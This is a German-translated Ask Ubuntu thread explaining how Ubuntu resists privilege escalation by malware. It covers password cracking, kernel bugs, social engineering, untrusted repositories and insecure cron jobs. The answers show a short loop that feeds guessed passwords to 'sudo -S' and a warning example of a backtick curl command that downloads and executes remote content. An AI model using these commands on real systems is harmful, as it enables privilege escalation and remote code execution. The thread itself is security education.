Wie wird das System sicher gehalten?

24

Ich verstehe, dass Malware, wenn sie in ein Linux-System eindringt, allenfalls ein Benutzerrecht erhält und alles ruiniert, was sich in der Reichweite des jeweiligen Benutzers befindet, dh die eigenen Dateien des Benutzers.

Aber was genau hindert die Malware daran, auf Root-Ebene zuzugreifen? Kann es nicht irgendwie das Passwort von innen knacken?

Oxwivi
quelle
Tolle Fragen und Antworten!
NlightNFotis

Antworten:

20

Dies ist eine komplexe Frage. In einem Ubuntu-System gibt es viele verschiedene Sicherheitsebenen, von komplexen Frameworks wie AppArmor bis hin zu einfachen Kernelvariablen wie mmap_min_addr. Sie können dem Mix einige Kernel-Funktionen wie die Speicher-Randomisierung hinzufügen. Sie finden eine Liste mit kurzen Erklärungen im Ubuntu-Wiki .

Ein weiterer wichtiger Faktor ist, dass die Updates schnell und einfach sind. Die meisten Computer werden also auf die letzten Sicherheitsupdates aktualisiert.

Soweit ich weiß, hat ein Angreifer, der lokalen Zugriff auf Ihren Computer hat, drei Möglichkeiten, die Kernel-Berechtigungen zu skalieren:

  1. Knacken Sie das Passwort. Dies wird jedoch sehr schwierig, da das Kennwort verschlüsselt gespeichert wird und Algorithmen verwendet werden, bei denen kein Fehler bekannt ist. Es wird Ewigkeiten dauern, um es zu knacken.

  2. Fehler im Kernel. Alle Sicherheitsfunktionen des Kernels werden jedoch beeinträchtigt.

  3. Trick den Benutzer, das Passwort zu verraten, dh Social Engineering. Zeigen Sie einfach einen gefälschten Kennwortdialog an oder verwenden Sie einen anderen Trick. Dies ist der einfachste Weg, dies zu tun.

Der dritte Punkt ist die derzeit schwächste Verwundbarkeit.

Javier Rivera
quelle
5
Beachten Sie, dass dieses "Kennwort" das Kennwort eines Benutzers ist, der über die Berechtigung "Sudo-to-Root" verfügt. Das Root-Konto ist standardmäßig deaktiviert. # 3 ist in der Tat das Möglichste. Wenn Sie nicht vertrauenswürdige Repositorys installieren, verteilen Sie außerdem kostenlose Stammkonten an dieses Repository.
Lekensteyn
@Lekensteyn, was ?! Wie fügt man nicht vertrauenswürdige Repos hinzu, die Root-Zugriff gewähren? Übrigens möchten Sie es vielleicht als Antwort posten. Ich möchte, dass dieser Thread eine Art Community-Wiki ist.
Oxwivi
Auf askubuntu gibt es keine anderen Threads als die Serverprozesse. Sie haben gerade einen Kommentar zu einer Antwort auf Ihre Frage gepostet . Ich habe eine Antwort mit Denkanstößen hinzugefügt.
Lekensteyn
@Oxwivi Wenn Sie einen PPA hinzufügen und ein Paket installieren, verfügt das Paket über Preinst- und Postinst-Skripte, die nach Belieben ausgeführt werden können. Es kann auch einen Dienst installieren, der als root ausgeführt wird oder mit dem man sich austauscht sudoers.
ζ--
15

Das Knacken des root-Passworts selbst ist nicht möglich, da Ubuntu den root-Benutzer standardmäßig deaktiviert hat. Wenn Ihr Benutzer jedoch durch sudo root werden kann und Ihr Passwort leicht zu erraten ist, haben Sie ein unsicheres System. Beispielskript zum Testen eines Passworts:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Durch Hinzufügen eines nicht vertrauenswürdigen Repositorys können Programme aus diesem Repository installiert werden. Selbst wenn Sie eine Anwendung wie diese nicht explizit installieren sudo apt-get install [app-from-repo], kann das Repository dennoch andere Programme beeinflussen, indem Ubuntu davon ausgeht, dass das Repository eine neuere Version eines bestimmten Programms enthält.

Der Update-Vorgang wird als root ausgeführt, da sonst keine Dateien in /usr/binoder geschrieben werden konnten /etc. Ein Installations-Trigger wird auch als root ausgeführt und kann willkürlich und möglicherweise schädliche Befehle ausführen. Jetzt mach dir keine Sorgen, zum Aktualisieren von Programmen sind manuelle Maßnahmen erforderlich, und die Ubuntu-Repositorys sind sicher. Closed-Source-Software wie Windows kann niemals als vertrauenswürdig eingestuft werden, da die Quelle nicht auf schädlichen Code überprüft werden kann. Sie können jedoch bei Bedarf die Quelle der Ubuntu-Anwendung überprüfen (gilt nicht für proprietäre Programme wie sun-java6oder Flash).

Wie von Javier Rivera erwähnt, können Kernel-Fehler zur Ausführung von willkürlichem Code führen, aber auch fehlerhafte Software kann gefährlich sein, insbesondere fehlerhafte setsuidRoot-Binärdateien (Binärdateien, die unter dem Dateibesitzer root ausgeführt werden) und andere fehlerhafte Programme, die als Root ausgeführt werden.

Sie können Sicherheitslücken in Ihrem System schaffen, wenn Sie nicht darauf achten, was Sie tun. Ohne das Konzept von Cronjobs vollständig zu verstehen, haben Sie beispielsweise einen Cronjob hinzugefügt, /etc/cron.dailyder ein Programm in Ihrem /bin/sh /home/your-username/myscript.shBasisordner ausführt (z . B. kann ein Exploit bösartig sein, wenn die Datei myscript.sh von Ihnen schreibbar ist und von Ihnen gelöscht werden kann Code, in myscript.shdem als root ausgeführt wird (erweiterte Rechte).

Um sicher zu gehen, benutze deinen Verstand! Führen Sie keine Befehle aus nicht vertrauenswürdigen Quellen aus, wenn Sie nicht wissen, was sie bewirken. Wenn jemand sagt, renne `curl 3221233674`mit Back-Ticks, dann nicht. 3221233674 ist eine andere Möglichkeit zum Schreiben 192.0.32.10(IP von example.com). Es wäre also gleich:

`curl http://example.com/`

Diese Back-Ticks bewirken, dass die Ausgabe als Shell-Befehle ausgeführt wird. Im Klartext: "Laden Sie die Seite http://example.com/ herunter und versuchen Sie, die heruntergeladene Seite auszuführen".

Zuerst würden Sie in dem gegebenen Befehl nichts Bösartiges sehen. Aber jetzt wissen Sie, dass es auch missbraucht werden kann.

Überprüfen Sie immer die Befehle / Skripte, die Sie aus nicht vertrauenswürdigen Quellen wie dem Internet erhalten.

Lekensteyn
quelle
1
Vielen Dank für die Antwort. Ich hoffe, meine Änderungen haben Ihnen nichts ausgemacht. Beachten Sie meine Änderungen, um Ihr Englisch zu verbessern.
Oxwivi
2
Nein, das macht mir nichts aus. Jede Verbesserung ist willkommen :)
Lekensteyn
Unabhängig davon, dies ist ein ausgezeichneter Beitrag, die Punkte, die Sie erwähnt haben, müssen beachtet werden!
Oxwivi